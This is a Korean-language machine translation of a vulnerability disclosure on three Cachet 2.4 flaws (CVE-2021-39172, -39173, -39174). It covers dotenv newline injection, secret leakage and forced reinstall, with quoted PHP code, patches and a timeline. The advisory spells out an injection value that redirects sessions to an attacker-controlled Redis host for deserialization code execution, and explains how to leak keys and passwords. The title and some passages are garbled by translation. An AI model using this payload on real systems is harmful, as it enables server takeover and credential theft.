캐셋 2.4: 라라벨 설정 注 들여 코드 실행

상태 페이지는 이제 모든 소프트웨어-서비스 회사가 제공하는 필수 서비스입니다. 이를 채택하도록 돕기 위해, 스타트업들은 빠르게 상태 페이지 서비스를 개념화하고 오픈 소스 자체 호스팅 대안도 제공되었습니다. Cachet, 때로는 CachetHQ라고도 하는 이는 PHP로 작성된 널리 채택된 상태 페이지 시스템으로, fiveai/Cachet와 같은 많은 커뮤니티 포크가 있습니다.

Cachet 인스턴스를 해킹하는 것은 공격자에게 보상이 되며, 캐시, 데이터베이스, 이메일 서버 등 다양한 서비스의 비밀을 저장합니다. 이러한 인프라에서의 초기 기반은 피해 회사의 내부 네트워크로 전환하고 추가적인 공격을 수행하는 데 도움이 됩니다. 이 기사에서는 저희 팀이 Cachet 2.4에서 발견한 세 가지 보안 취약점에 대한 기술적 분석을 제시합니다. 이들은 서버를 해킹할 수 있는 공격자를 허용할 수 있습니다.

영향

이러한 취약점의 악용은 당시 최종 공식 릴리스인 Cachet 2.3.18 및 개발 브랜치(2.4)에서 확인되었습니다. 이러한 취약점을 악용하려는 공격자는 기본 권한을 가진 유효한 사용자 계정이 필요하며, 실제로 활용될 수 있는 시나리오는 다음과 같습니다:

  • 매년 누출되는 많은 계정을 통한 자격 증명 충돌.
  • A compromised or malicious user. 
  • 동일한 경계에서 크로스-사이트 스크립팅 취약점의 존재.
  • 2021년 1월에 수정된 Cachet의 미인증 SQL 인젝션인 CVE-2021-39165의 악용.

취약점 1: CVE-2021-39172

제가 설명하는 첫 번째 취약점(CVE-2021-39172)은 사용자가 인스턴스 구성을 업데이트할 때 발생하는 줄 바꿈 삽입으로, 이메일 설정과 같은 경우입니다. 이를 통해 공격자는 새 지시문을 삽입하여 핵심 기능의 동작을 변경하고 임의의 코드 실행을 유도할 수 있습니다.

다음 동영상은 이 취약점의 악용을 보여줍니다. 데모 목적으로 여러 단계를 수동으로 수행하지만, 공격자가 자동화할 수 있습니다:

출처: Sonar YouTube

취약점 2: CVE-2021-39174

두 번째 취약점(CVE-2021-39174)도 이 기능과 관련이 있으며, 공격자가 구성 파일에 저장된 비밀을 유출할 수 있습니다. 예를 들어 SMTP 서버 암호, 애플리케이션 암호화 키 등이 있습니다.

취약점 3: CVE-2021-39173

마지막으로, 마지막 버그(CVE-2021-39173)는 훨씬 간단하며 인스턴스가 이미 완전히 구성되어 있더라도 설정 프로세스를 진행할 수 있습니다. 이를 통해 공격자는 Cachet 인스턴스가 자신이 제어하는 임의의 데이터베이스를 사용하도록 속일 수 있으며, 결과적으로 임의의 코드 실행을 가능하게 합니다.

이 세 가지 취약점에 대한 패치는 FiveAI 포크의 버전 2.5.1에서 제공됩니다.

기술적 세부사항

이 섹션에서는 각 취약점의 기술적 세부사항과 커뮤니티 포크의 최신 릴리스에서 이를 완화하는 방법을 설명합니다.

CVE-2021-39172: 원격 코드 실행

Cachet의 대시보드는 인스턴스 이름, 메일 서버 설정 등을 변경할 수 있는 여러 구성 보기를 비관리자 사용자에게도 노출합니다. 애플리케이션 수준의 지속적인 설정은 데이터베이스에 저장되며, 다른 프레임워크 수준의 값은 애플리케이션의 구성 파일에 직접 저장됩니다. Laravel 프레임워크는 dotenv 구성 파일을 사용하며, 쉘 스크립트에서 환경 변수를 선언하는 방식과 유사합니다. 이들의 지원은 타사 라이브러리 여기에서 구현됩니다.

이메일 서비스 설정을 변경할 때 컨트롤러는 UpdateConfigCommand 클래스의 객체를 인스턴스화합니다. Laravel 명령은 명령 버스 컨텍스트에서 컨트롤러에서 애플리케이션 특정 로직을 제거하는 방법입니다. 그들은 객체에서 execute() 호출 시 동기적으로 실행됩니다. 이것은 [1]에서 발생합니다:  

app/Http/Controllers/Dashboard/SettingsController.php:

PHP

 

<?php
public function postMail()
{   
     $config = Binput::get('config');   
     execute(new UpdateConfigCommand($config));            // [1]    
     return cachet_redirect('dashboard.settings.mail')        
          ->withInput(Binput::all())       
          ->withSuccess(trans('dashboard.notifications.awesome')); 
}

연결된 핸들러 UpdateConfigCommandHandler는 기존의 dotenv 파일에서 기존 항목을 새 항목으로 교체하여 변경 사항을 수행하는 데 책임이 있습니다.

UpdateConfigCommandHandler는 두 개의 서로 다른 위치에서 코드에 의해 트리거될 수 있습니다:

  1. SetupController@postStep3: 설치 프로세스의 마지막 단계입니다. 인스턴스가 설치되면 이 코드 경로를 더 이상 도달할 수 없습니다;
  2. SettingsController@postMail: 이메일 서버와 관련된 dotenv 항목을 업데이트할 때.

먼저 전체 구성 파일을 평가하여 프로세스 환경을 채우고([1]), 업데이트할 지시문이 이미 정의되어 있는지 확인하고([2]), 항목을 새 값으로 교체합니다([3]):

app/Bus/Handlers/Commands/System/Config/UpdateConfigCommandHandler.php:

PHP

 

<?php
class UpdateConfigCommandHandler
{    
    // [...]    
    public function handle(UpdateConfigCommand $command)   
    {       
       foreach ($command->values as $setting => $value) {          
             $this->writeEnv($setting, $value);      
       }   
     }   
    // [...]   
    protected function writeEnv($key, $value)  
    {      
      $dir = app()->environmentPath();       
      $file = app()->environmentFile();       
      $path = "{$dir}/{$file}";        

      try {          
          (new Dotenv($dir, $file))->load();       // [1]              
          $envKey = strtoupper($key);          

          $envValue = env($envKey) ?: 'null';      // [2]           

         file_put_contents($path, str_replace(    // [3]              
              "{$envKey}={$envValue}",                        
              "{$envKey}={$value}",             
              file_get_contents($path)                   
         ));       
      } catch (InvalidPathException $e) {           
         throw $e;      
     }   
  } 
}

들어오는 데이터에 대한 유효성 검사는 수행되지 않습니다: 구성 항목이 이미 존재하는 한 매개변수에서 오는 값으로 교체됩니다. 공격자가 줄 바꿈이 포함된 값을 제공하면 dotenv 파일에 새 항목을 생성하고 프레임워크 수준 기능을 변경할 수 있습니다.

참고: dotenv 파일에서 변수의 첫 번째 정의만 사용됩니다. 그 이후의 정의는 무시됩니다.

라라벨 프로젝트에서 이러한 기본 사항만으로 임의의 코드 실행을 얻을 수 있습니다. 초기 dotenv 구성 파일은 대부분의 인스턴스에서 다음과 같은 모습일 것입니다:

.env:

Shell

 

APP_ENV=production
[...]
DEBUGBAR_ENABLED=false
DB_DRIVER=sqlite
[...]
DB_PREFIX=
CACHE_DRIVER=file
SESSION_DRIVER=file
QUEUE_DRIVER=array
MAIL_DRIVER=smtp
MAIL_HOST=foo
[...]
REDIS_HOST=null
REDIS_DATABASE=null
REDIS_PORT=null

공격자는 CACHE_DRIVER 키를 교체하고 자신이 제어하는 Redis 서버를 새로운 세션 백엔드로 등록할 수 있습니다:

Shell

 

file\nREDIS_HOST=some.remote.server\nREDIS_DATABASE=0\nREDIS_PORT=6379\nSESSION_DRIVER=redis

CACHE_DRIVER를 이 값으로 설정하는 요청을 보낸 후 dotenv 파일은 다음과 같아집니다:

.env:

Shell

 

APP_ENV=production 
APP_DEBUG=false 
APP_URL=http://cachet.internal 
APP_TIMEZONE=UTC 
// [...] 
CACHE_DRIVER=file 
REDIS_HOST=some.remote.server 
REDIS_DATABASE=0 
REDIS_PORT=6379 
SESSION_DRIVER=redis 
SESSION_DRIVER=file 
QUEUE_DRIVER=null
// [...]

라라벨 세션은 PHP의 기본 형식을 사용하여 직렬화되기 때문에 unserialize() 함수로 구문 분석됩니다. 이는 특수 제작된 객체 시퀀스를 사용하여 임의의 코드 실행으로 이용될 수 있는 알려진 약점으로, 이를 “팝 체인”이라는 개념으로 활용할 수 있습니다. PHPGGC 도구는 라라벨 프로젝트용 이러한 체인을 생성할 수 있습니다.

dotenv 파일의 새 라인 삽입으로부터 명령 실행을 이용하는 다른 방법이 존재할 수 있지만, 우리는 이 방향으로의 추가 연구를 진행하지 않았습니다. 저희 팀은 다른 기술에 대해 알고 계신지 궁금합니다!

CVE-2021-39174: 구성 누출

앞서 설명한 바와 같이, dotenv 파일에 저장된 값에 대한 직접적인 읽기 및 쓰기 제어가 가능합니다. 이 파일에 쓰는 것은 궁극적으로 임의의 코드 실행으로 이어지지만, 이 파일의 값이 인터페이스에 표시되는 사실을 이용하여 이용할 수도 있습니까?

문서화된 vlucas/phpdotenv에 따르면 중첩 변수 할당을 지원합니다: 변수를 선언할 때 ${NAME} 구문으로 이전에 선언된 변수를 참조할 수 있습니다.

이 기능은 편리합니다: dotenv 구성 파일의 항목에서 다른 변수를 참조하고 인터페이스에서 해당 항목을 표시함으로써 다른 변수의 값을 드러낼 수 있습니다.

세션 드라이버가 쿠키로 설정된 경우 APP_KEY가 유출되면 코드 실행에 이르게 되며, 이러한 기본 요소를 사용하여 DB_PASSWORDMAIL_PASSWORD를 유출하여 추가적인 공격을 수행할 수 있다는 것은 이미 널리 문서화되어 있습니다.

CVE-2021-39173: 강제 재설치

인스턴스가 이미 설치된 경우 중간 처리 과정에서 구현된 것처럼 설정 페이지에 접근할 수 없습니다. SetupAlreadyCompleted:

app/Http/Middleware/SetupAlreadyCompleted.php:

PHP

 

settings->get('app_name')) {               
                  return cachet_redirect('dashboard');          
             }      
         } catch (ReadException $e) {          
            // 설정되지 않았습니다!      
         }        
         
         return $next($request);   
  } 
}

이 검사는 설정의 값에 의해서만 이루어집니다: 정의되지 않았거나 비어 있으면 미들웨어는 인스턴스가 설치되었다고 간주합니다.

만약 무엇이 false로 평가될 수 있는지 궁금하다면, PHP 8까지의 비교 시스템에 대한 간단한 소개를 드리겠습니다. 비교는 등가성 검사(==) 또는 동일성 검사(===)를 사용하여 수행할 수 있습니다. 등가성 검사는 피연산자의 타입을 고려하지 않으며, 문자열은 이전에 숫자로 변환될 수 있습니다. 이러한 동작을 “타입 저글링”이라고 부르며, 다양한 실제 취약점(CVE-2017-1001000, CVE-2019-10231)에서 악용되었습니다. 위의 비교 경우에는 빈 문자열이나 “0”과 같은 어떤 값이라도 false로 평가되어 설정 페이지에 접근할 수 있습니다.

설정 업데이트 중에 app_name의 값이 SettingsController@postSettings에서 유효성 검사되지 않고, [1]에서:

app/Http/Controllers/Dashboard/SettingsController.php:

PHP

 

<?php
class SettingsController extends Controller
{  
   // [...]   
   public function postSettings()  
   {      
       $setting = app(Repository::class);      
       // [...]      
       $parameters = Binput::all();       
      // [...]      
      $excludedParams = [           
        '_token',          
        'app_banner',          
        'remove_banner',          
        'header',           
        'footer',           
        'stylesheet',      
     ];       
     try {          
         foreach (Binput::except($excludedParams) as $settingName =>
 $settingValue) {              
                if ($settingName === 'app_analytics_pi_url') {                      
                        $settingValue = rtrim($settingValue, '/');             
                }              
                $setting->set($settingName, $settingValue); // <-- [1]
// [...]

따라서 인증된 사용자는 이를 false로 평가되는 값으로 업데이트한 다음 다시 액세스/설정하여 새 관리자 계정으로 인스턴스를 재설치하거나(권한 상승) 첫 번째 취약점을 악용하여 코드 실행을 달성할 수 있습니다(기억하세요, UpdateConfigCommandHandler도 이 코드 경로에서 악용될 수 있습니다).

패치

새 라인 인젝션 취약점(CVE-2021-39172)은 UpdateConfigCommandHandler에서 들어오는 값의 유효성 검사를 개선하여 모든 변경 내용을 거부하는 것으로 해결되었습니다.줄 바꿈 문자를 포함한 것.

설정 누출 버그(CVE-2021-39174)는 패치하기가 더 복잡했으며, 기존 종속성 때문에 최신 버전의 dotenv 라이브러리를 가져올 수 없었습니다. 대신, 관련 코드를 포팅하여 명령 핸들러가 값에 중첩된 변수가 포함되어 있는지 확인할 수 있게 했습니다. 

마지막으로, 기존 인스턴스(CVE-2021-39173)에 대한 재설치를 강제할 수 없습니다. 개선된 검사가 영향을 받는 미들웨어에서.

타임라인

DATE ACTION
2021-03-26 Issues reported by email to the official security disclosure address of the upstream project.
2021-06-25 We send the security issues and patches to the community-supported fork (fiveai/Cachet).
2021-08-27 Release 2.5.1 of the FiveAI fork is published, with fixes for CVE-2021-39172, CVE-2021-39173, and CVE-2021-39174.

요약

이 글에서는 Cachet의 세 가지 취약점을 분석하고, Laravel 설정 파일을 사용하여 기본 사용자 권한으로 인스턴스를 장악할 수 있음을 보였습니다. 또한 유지 관리자가 적용한 패치와 제시한 공격을 방지하는 방법을 설명했습니다. 

마지막으로, 저희 팀과 저는 FiveAI의 Cachet 포크 유지 관리자들께 저희의 공개를 인정하고 이러한 취약점을 빠르고 전문적으로 수정해 주신 것에 감사의 말씀을 전하고 싶습니다.

Source:
https://dzone.com/articles/cachet-two-four-code-execution-via-laravel-configuration-injection